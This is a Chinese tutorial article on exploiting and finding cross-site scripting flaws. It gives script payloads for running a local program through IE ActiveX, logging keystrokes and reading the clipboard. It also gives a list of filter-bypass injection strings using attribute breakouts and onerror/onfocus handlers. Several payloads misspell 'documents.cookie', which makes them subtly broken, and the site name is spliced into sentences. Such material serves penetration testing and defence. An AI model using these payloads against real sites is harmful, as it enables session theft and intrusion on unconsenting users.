当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

跨站点脚本(xss)解析(三)利用xss漏洞

时间:2015/5/19 18:56:10 作者:平凡之路 来源:xuhantao.com 浏览:

上一篇:

1、利用xss漏洞,攻击者可以调用被攻击者本地的程序(IE下)。一段xss攻击载荷:<script> var o=new ActiveXObject(‘WScript.shell’); o.run(‘calc.exe’); </script> 这段js代码可以在IE浏览器下调用本地的计算器程序。

2、利用xss漏洞,攻击者可以获取被攻击者在浏览器中的击键记录。 js代码如下:<script> document.onkeypress =function() {    window.status+=String.fromCharCode(window.event.keyCode); }  </script> IE会将status显示在状态栏中,非IE内核浏览器不会显示,但是保存在status中。

3、利用xss漏洞,攻击者可以获取被攻击者的剪切板内容。js代码 <script> alert(window.clipboardData.getData(‘text’)); </script> ,这条语句是直接弹窗,当然我们也可以保存在变量里,发送到攻击者控制的机器上。

4、利用xss漏洞,攻击者可以窃取被攻击者的历史记录和搜索查询。攻击者可以动态创建常用web站点以及搜索引擎的超链接,并使用getComputedStyle API检查这些链接是否以彩色标记为“已被访问”,从而完成私密信息的窃取。

5、利用xss漏洞,攻击者可以枚举被攻击者当前使用的应用程序。js可用于确定用户当前是否登录到第三方web应用程序。

6、利用xss漏洞攻击者可以扫面被攻击者本地网络的端口。js可用于对本地网络中的主机进行端口扫描,确定可被利用的服务。

如何查找xss漏洞: 基本方法是利用下面的字符串 ><script>alert(documents.cookie)</script>,涛涛电脑知识网, 把这段字符串提交给应用程序页面的参数,监控它的响应,如果字符串按原样出现在响应中,几乎可以确定程序存在xss漏洞。

        许多WEB程序会对用户的输入进行过滤,来避免xss攻击。例如,过滤<script>表达式,对表达式进行编码,这种情况,我们就不使用<script>标签,甚至不使用< >和/这些常被过滤掉的字符,也可以利用xss漏洞。如果应用程序过滤<script>字符串,涛涛电脑知识网,我们可以尝试下面的语句 ①”><script >alert(documents.cookie)</script>   ②”><ScRiPt>alert(documents.cookie)</ScRiPt>   ③”%3e%3cscript%3ealert(documents.cookie)%3c/script%3e   ④”><scr<script>ipt>alert(documents.cookie)</scr</script>ipt>   ⑤%00″><script>alert(documents.cookie)</script>

       1、 查找和利用反射型xss漏洞。渗透测试步骤:①选择程序中唯一的字符串(仅包含字母)②向应用程序提交这个字符串,以其作为每个页面的每个参数,每次只针对一个参数。③查看应用程序的响应。记录参数被该字符串替换的参数,这些参数需要深入研究。④要测试所有的get、和post方法。     记下被替换的参数后,需要手动分析。如:一个页面中包含代码<input type=”text” name=”yeetrack.com”  value=”hello world”>, hello world是从客户端读取的数据,利用xss的方法一般是提前终止字符串的双引号,结束input标签,然后通过各种方法(<script>, <image src=”javascript:…..”>)等, “><script>alert(documents.cookie)</script><!–

如果程序过滤了script关键字,我们还可以这样 “onfocus=”alert(documents.cookie)” ;利用onfocus方法嵌入js语句。又如: 页面中包含<script> var a=’hello world’; b=’some’;……</script>, hello world 来自用户的输入,我们可以这样构造输入 ‘; alert(documents.cookie); var tem=’  ,这样我们闭合了变量a,加入了一条js语句,最后变量tem保证了语法的正确性,还可以利用//还注释掉后面的语句。服务器有这样的代码:<img src=”hello world”>, 我们可以这样构造输入javascript:alert{documents.cookie}; 如果要实施攻击,可以配合 “onerror=”alert(documents.cookie)”,这样如果图片加载失败,就会执行onerror里面的语句

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1